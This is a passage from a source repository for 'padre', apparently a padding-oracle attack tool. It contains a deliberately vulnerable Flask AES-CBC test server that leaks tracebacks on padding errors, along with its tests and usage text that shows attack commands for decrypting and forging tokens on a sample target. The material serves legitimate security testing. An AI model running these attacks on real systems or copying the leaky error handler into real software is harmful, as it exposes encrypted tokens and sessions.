URL or POST data" 64 | ) 65 | 66 | # get encoding 67 | encoding = get_encoding(request) 68 | 69 | # decode cipher into bytes 70 | cipher = encoder.decode(data=encoded_cipher, encoding=Encoding[encoding]) 71 | 72 | # decrypt cipher into plaintext 73 | plain = crypto.decrypt(cipher, AES_key()) 74 | 75 | # answer 76 | return plain, 200 77 | 78 | 79 | @app.route("/health") 80 | def health(): 81 | return "OK", 200 82 | 83 | 84 | # this is what makes the server vulnerable to padding oracle 85 | # it just talks too much about errors 86 | # NOTE: to test Padding Oracle detection, every exception's trace is printed 87 | # (not just IncorrectPadding) 88 | @app.errorhandler(Exception) 89 | def handle_incorrect_padding(exc): 90 | # pass through HTTP errors 91 | if isinstance(exc, HTTPException): 92 | return exc 93 | 94 | # log exception 95 | app.logger.error(exc) 96 | 97 | if app.config.get("VULNERABLE"): 98 | # vulnerable response 99 | response = make_response(traceback.format_exc(), 500) 100 | response.headers["content-type"] = "text/plain" 101 | return response 102 | else: 103 | # non-vulnerable response 104 | return "Internal server error", 500 105 | -------------------------------------------------------------------------------- /test_server/crypto.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | from Crypto.Cipher import AES 4 | from Crypto.Util import Padding 5 | 6 | 7 | def random_bytes(length: int) -> bytes: 8 | out = [] 9 | for _ in range(length): 10 | out.append(random.randint(0, 0xFF)) 11 | return bytes(out) 12 | 13 | 14 | class IncorrectPadding(Exception): 15 | def __init__(self): 16 | super().__init__("Incorrect Padding") 17 | 18 | 19 | def encrypt(data: bytes, key: bytes) -> bytes: 20 | # pad data 21 | data = Padding.pad(data, 16) 22 | 23 | # new encryptor 24 | encryptor = AES.new(key, AES.MODE_CBC) 25 | 26 | # return IV + cipher 27 | return encryptor.iv + encryptor.encrypt(data) 28 | 29 | 30 | def decrypt(data: bytes, key: bytes) -> str: 31 | # tell IV from cipher 32 | iv, data = data[:16], data[16:] 33 | 34 | # fresh encryptor with IV provided 35 | encryptor = AES.new(key, AES.MODE_CBC, iv) 36 | 37 | # decrypt 38 | plain = encryptor.decrypt(data) 39 | 40 | # unpad, decode, return 41 | try: 42 | return Padding.unpad(plain, 16) 43 | except ValueError: 44 | raise IncorrectPadding() 45 | -------------------------------------------------------------------------------- /test_server/docker-compose.yaml: -------------------------------------------------------------------------------- 1 | version: "2.1" 2 | 3 | services: 4 | vuln-server: 5 | build: . 6 | environment: 7 | VULNERABLE: 1 8 | USE_GEVENT: 1 9 | ports: 10 | - 5000:5000 -------------------------------------------------------------------------------- /test_server/encoder.py: -------------------------------------------------------------------------------- 1 | import binascii as ba 2 | from enum import Enum, auto 3 | 4 | 5 | class Encoding(Enum): 6 | B64 = auto() # base64 7 | LHEX = auto() # lowercase hex 8 | 9 | 10 | # decodes data 11 | def decode(data: str, encoding: Encoding) -> bytes: 12 | if encoding == Encoding.B64: 13 | x = ba.a2b_base64(data) 14 | elif encoding == Encoding.LHEX: 15 | x = ba.unhexlify(data) 16 | else: 17 | raise RuntimeError(f"Unknown encoding {encoding}") 18 | return x 19 | 20 | 21 | # encodes binary data as plaintext string 22 | def encode(data, encoding: Encoding) -> str: 23 | if encoding == Encoding.B64: 24 | x = ba.b2a_base64(data).decode()[:-1] 25 | elif encoding == Encoding.LHEX: 26 | x = ba.hexlify(data).decode() 27 | else: 28 | raise RuntimeError(f"Unknown encoding {encoding}") 29 | return x 30 | -------------------------------------------------------------------------------- /test_server/requirements.txt: -------------------------------------------------------------------------------- 1 | Flask==2.3.2 2 | gevent==23.9.1 3 | pycryptodome==3.19.1 4 | pytest==6.2.5 5 | pytest-cov==3.0.0 -------------------------------------------------------------------------------- /test_server/server.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | from app import app 4 | 5 | if __name__ == "__main__": 6 | # get application config from environment 7 | for envvar in ["VULNERABLE", "SECRET"]: 8 | if envvar in os.environ: 9 | app.config[envvar] = os.environ[envvar] 10 | 11 | if os.environ.get("USE_GEVENT"): 12 | from gevent import monkey 13 | 14 | monkey.patch_all() 15 | from gevent.pywsgi import WSGIServer 16 | 17 | WSGIServer( 18 | ( 19 | "0.0.0.0", 20 | 5000, 21 | ), 22 | app.wsgi_app, 23 | ).serve_forever() 24 | else: 25 | app.run("0.0.0.0", 5000) 26 | -------------------------------------------------------------------------------- /test_server/setup.cfg: -------------------------------------------------------------------------------- 1 | [tool:pytest] 2 | testpaths = 3 | tests 4 | addopts = 5 | --cov=. 6 | --cov-report=html 7 | --cov-report=term 8 | python_functions = 9 | test_* 10 | python_files = 11 | *_test.py 12 | 13 | [coverage:run] 14 | data_file = /tmp/.coverage 15 | omit = 16 | tests/* 17 | venv/* 18 | server.py 19 | branch = True 20 | -------------------------------------------------------------------------------- /test_server/tests/__init__.py: -------------------------------------------------------------------------------- 1 | # do not delete 2 | # needed for pytest 3 | -------------------------------------------------------------------------------- /test_server/tests/app_test.py: -------------------------------------------------------------------------------- 1 | from argparse import Namespace 2 | 3 | import pytest, itertools 4 | 5 | from app import app 6 | from encoder import Encoding 7 | 8 | @pytest.fixture(params=list(Encoding)) 9 | def encoding(request): 10 | return request.param 11 | 12 | 13 | @pytest.fixture(params=[True, False]) 14 | def is_vulnerable(request): 15 | return request.param 16 | 17 | 18 | @pytest.fixture(params=["GET", "POST"]) 19 | def http_method(request): 20 | return request.param 21 | 22 | 23 | @pytest.fixture 24 | def secret(): 25 | return "secret" 26 | 27 | 28 | @pytest.fixture 29 | def client(is_vulnerable, secret): 30 | # create app config 31 | config = Namespace(VULNERABLE=is_vulnerable, SECRET=secret) 32 | 33 | # inject config 34 | app.config.from_object(config) 35 | 36 | # create test client 37 | return app.test_client() 38 | 39 | 40 | @pytest.fixture 41 | def call_route(client, http_method): 42 | if http_method == "GET": 43 | # apparently werkzeug expects query string to be passed as separated parameter in GET method 44 | def get(endpoint, data = None): 45 | return client.get(endpoint, query_string=data) 46 | return get 47 | elif http_method == "POST": 48 | return client.post 49 | else: 50 | raise AssertionError("Not supported HTTP method: %s" % http_method) 51 | 52 | 53 | @pytest.mark.parametrize("plaintext", [""]) 54 | def test_app(call_route, plaintext, is_vulnerable, encoding): 55 | # send plaintext for encryption 56 | resp = call_route("/encrypt", data={"plain": plaintext, "enc": encoding.name}) 57 | assert resp.status_code == 200 58 | 59 | # get response string 60 | cipher = resp.data.decode() 61 | 62 | # send for decryption 63 | resp = call_route("/decrypt", data={"cipher": cipher, "enc": encoding.name}) 64 | assert resp.status_code == 200 65 | 66 | # compare results 67 | deciphered = resp.data.decode() 68 | assert deciphered == plaintext 69 | 70 | # send malformed cipher 71 | malformed_cipher = cipher[:-1] 72 | resp = call_route("/decrypt", data={"cipher": malformed_cipher}) 73 | assert resp.status_code == 500 74 | 75 | # check response verbosity 76 | if not is_vulnerable: 77 | assert resp.data.decode() == "Internal server error" 78 | else: 79 | assert "Traceback" in resp.data.decode() 80 | 81 | 82 | def test_absent_params(call_route): 83 | # no plaintext 84 | resp = call_route("/encrypt") 85 | assert resp.status_code == 500 86 | 87 | # no ciphertext 88 | resp = call_route("/decrypt") 89 | assert resp.status_code == 500 90 | 91 | # no explicit encoding 92 | resp = call_route("/encrypt", data={"plain": "test"}) 93 | assert resp.status_code == 200 94 | 95 | 96 | @pytest.mark.parametrize("http_method", ["GET"]) 97 | def test_health(call_route): 98 | resp = call_route("/health") 99 | assert resp.status_code == 200 100 | 101 | 102 | # @pytest.mark.parametrize("secret", ["padre"]) 103 | # def test_reproducible_cipher(call_route, encoding, secret): 104 | # print(app.config) 105 | # resp = call_route("/encrypt", data={"plain": "padre"}) 106 | # assert resp.status_code == 200 107 | # if encoding == Encoding.B64: 108 | # assert resp.data.decode() == "P6tHBLB95YWpovay/a34pZNai624TAWLyWNVCMOmImM=" 109 | # print(app.config) 110 | # elif encoding == Encoding.LHEX: 111 | # assert resp.data.decode() == "xxx" 112 | -------------------------------------------------------------------------------- /test_server/tests/crypto_test.py: -------------------------------------------------------------------------------- 1 | import Crypto.Cipher.AES 2 | import pytest 3 | 4 | import crypto 5 | 6 | KEY_LENGTH = 16 7 | 8 | 9 | @pytest.fixture 10 | def AES_key(): 11 | return crypto.random_bytes(KEY_LENGTH) 12 | 13 | 14 | def generate_plain_variants(): 15 | # test all lengths up to AES block_size + 1 16 | for i in range(Crypto.Cipher.AES.block_size + 2): 17 | yield crypto.random_bytes(i) 18 | 19 | 20 | @pytest.mark.parametrize("plain", generate_plain_variants(), ids=len) 21 | def test_encrypt_decrypt(AES_key, plain): 22 | # test normal flow 23 | encrypted = crypto.encrypt(plain, AES_key) 24 | decrypted = crypto.decrypt(encrypted, AES_key) 25 | assert decrypted == plain 26 | 27 | # test padding error 28 | with pytest.raises(crypto.IncorrectPadding): 29 | # decrement last byte in encrypted payload 30 | # to cause padding error while decrypting 31 | encrypted = bytearray(encrypted) 32 | 33 | # stay in byte-value range 34 | if encrypted[-1] > 0: 35 | encrypted[-1] -= 1 36 | else: 37 | encrypted[-1] = 0xFF 38 | 39 | crypto.decrypt(bytes(encrypted), AES_key) 40 | -------------------------------------------------------------------------------- /test_server/tests/encoder_test.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | from crypto import random_bytes 4 | from encoder import Encoding, decode, encode 5 | 6 | 7 | @pytest.mark.parametrize("value", [random_bytes(i) for i in range(10)], ids=len) 8 | @pytest.mark.parametrize("encoding", list(Encoding)) 9 | def test_encoding_decoding(value, encoding): 10 | encoded = encode(value, encoding) 11 | decoded = decode(encoded, encoding) 12 | assert decoded == value 13 | 14 | 15 | def test_unknown_encoding(): 16 | with pytest.raises(RuntimeError): 17 | encode(b"", -1) 18 | 19 | with pytest.raises(RuntimeError): 20 | decode("", -1) 21 | -------------------------------------------------------------------------------- /usage.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "regexp" 5 | 6 | "github.com/glebarez/padre/pkg/color" 7 | ) 8 | 9 | var usage = ` 10 | Usage: cmd(padre [OPTIONS] [INPUT]) 11 | 12 | INPUT: 13 | In bold(decrypt) mode: encrypted data 14 | In bold(encrypt) mode: the plaintext to be encrypted 15 | If not passed, will read from bold(STDIN) 16 | 17 | NOTE: binary data is always encoded in HTTP. Tweak encoding rules if needed (see options: flag(-e), flag(-r)) 18 | 19 | OPTIONS: 20 | 21 | flag(-u) *required* 22 | target URL, use dollar($) character to define token placeholder (if present in URL) 23 | 24 | flag(-enc) 25 | Encrypt mode 26 | 27 | flag(-err) 28 | Regex pattern, HTTP response bodies will be matched against this to detect padding oracle. Omit to perform automatic fingerprinting 29 | 30 | flag(-e) 31 | Encoding to apply to binary data. Supported values: 32 | b64 (standard base64) *default* 33 | lhex (lowercase hex) 34 | 35 | flag(-r) 36 | Additional replacements to apply after encoding binary data. Use odd-length strings, consiting of pairs of characters . 37 | Example: 38 | If server uses base64, but replaces '/' with '!', '+' with '-', '=' with '~', then use cmd(-r "/!+-=~") 39 | 40 | flag(-cookie) 41 | Cookie value to be set in HTTP requests. Use dollar($) character to mark token placeholder. 42 | 43 | flag(-post) 44 | String data to perform POST requests. Use dollar($) character to mark token placeholder. 45 | 46 | flag(-ct) 47 | Content-Type for POST requests. If not specified, Content-Type will be determined automatically. 48 | 49 | flag(-b) 50 | Block length used in cipher (use 16 for AES). Omit to perform automatic detection. Supported values: 51 | 8 52 | 16 *default* 53 | 32 54 | 55 | flag(-p) 56 | Number of parallel HTTP connections established to target server [1-256] 57 | 30 *default* 58 | 59 | flag(-proxy) 60 | HTTP proxy. e.g. use cmd(-proxy "http://localhost:8080") for Burp or ZAP 61 | 62 | bold(Examples:) 63 | Decrypt token in GET parameter: cmd(padre -u "http://vulnerable.com/login?token=$" "u7bvLewln6PJ670Gnj3hnE40L0SqG8e6") 64 | POST data: cmd(padre -u "http://vulnerable.com/login" -post "token=$" "u7bvLewln6PJ670Gnj3hnE40L0SqG8e6") 65 | Cookies: cmd(padre -u "http://vulnerable.com/login$" -cookie "auth=$" "u7bvLewln6PJ670Gnj3hnE40L0SqG8e6") 66 | Encrypt token in GET parameter: cmd(padre -u "http://vulnerable.com/login?token=$" -enc "EncryptMe") 67 | ` 68 | 69 | func init() { 70 | // add some color to usage text 71 | re := regexp.MustCompile(`\*required\*`) 72 | usage = string(re.ReplaceAll([]byte(usage), []byte(color.Yellow(`(required)`)))) 73 | 74 | re = regexp.MustCompile(`\*default\*`) 75 | usage = string(re.ReplaceAll([]byte(usage), []byte(color.Green(`(default)`)))) 76 | 77 | re = regexp.MustCompile(`cmd\(([^\)]*?)\)`) 78 | usage = string(re.ReplaceAll([]byte(usage), []byte(color.Cyan("$1")))) 79 | 80 | re = regexp.MustCompile(`dollar\(([^\)]*?)\)`) 81 | usage = string(re.ReplaceAll([]byte(usage), []byte(color.CyanBold("$1")))) 82 | 83 | re = regexp.MustCompile(`flag\(([^\)]*?)\)`) 84 | usage = string(re.ReplaceAll([]byte(usage), []byte(color.GreenBold("$1")))) 85 | 86 | re = regexp.MustCompile(`link\(([^\)]*?)\)`) 87 | usage = string(re.ReplaceAll([]byte(usage), []byte(color.Underline("$1")))) 88 | 89 | re = regexp.MustCompile(`bold\(([^\)]*?)\)`) 90 | usage = string(re.ReplaceAll([]byte(usage), []byte(color.Bold("$1")))) 91 | } 92 | --------------------------------------------------------------------------------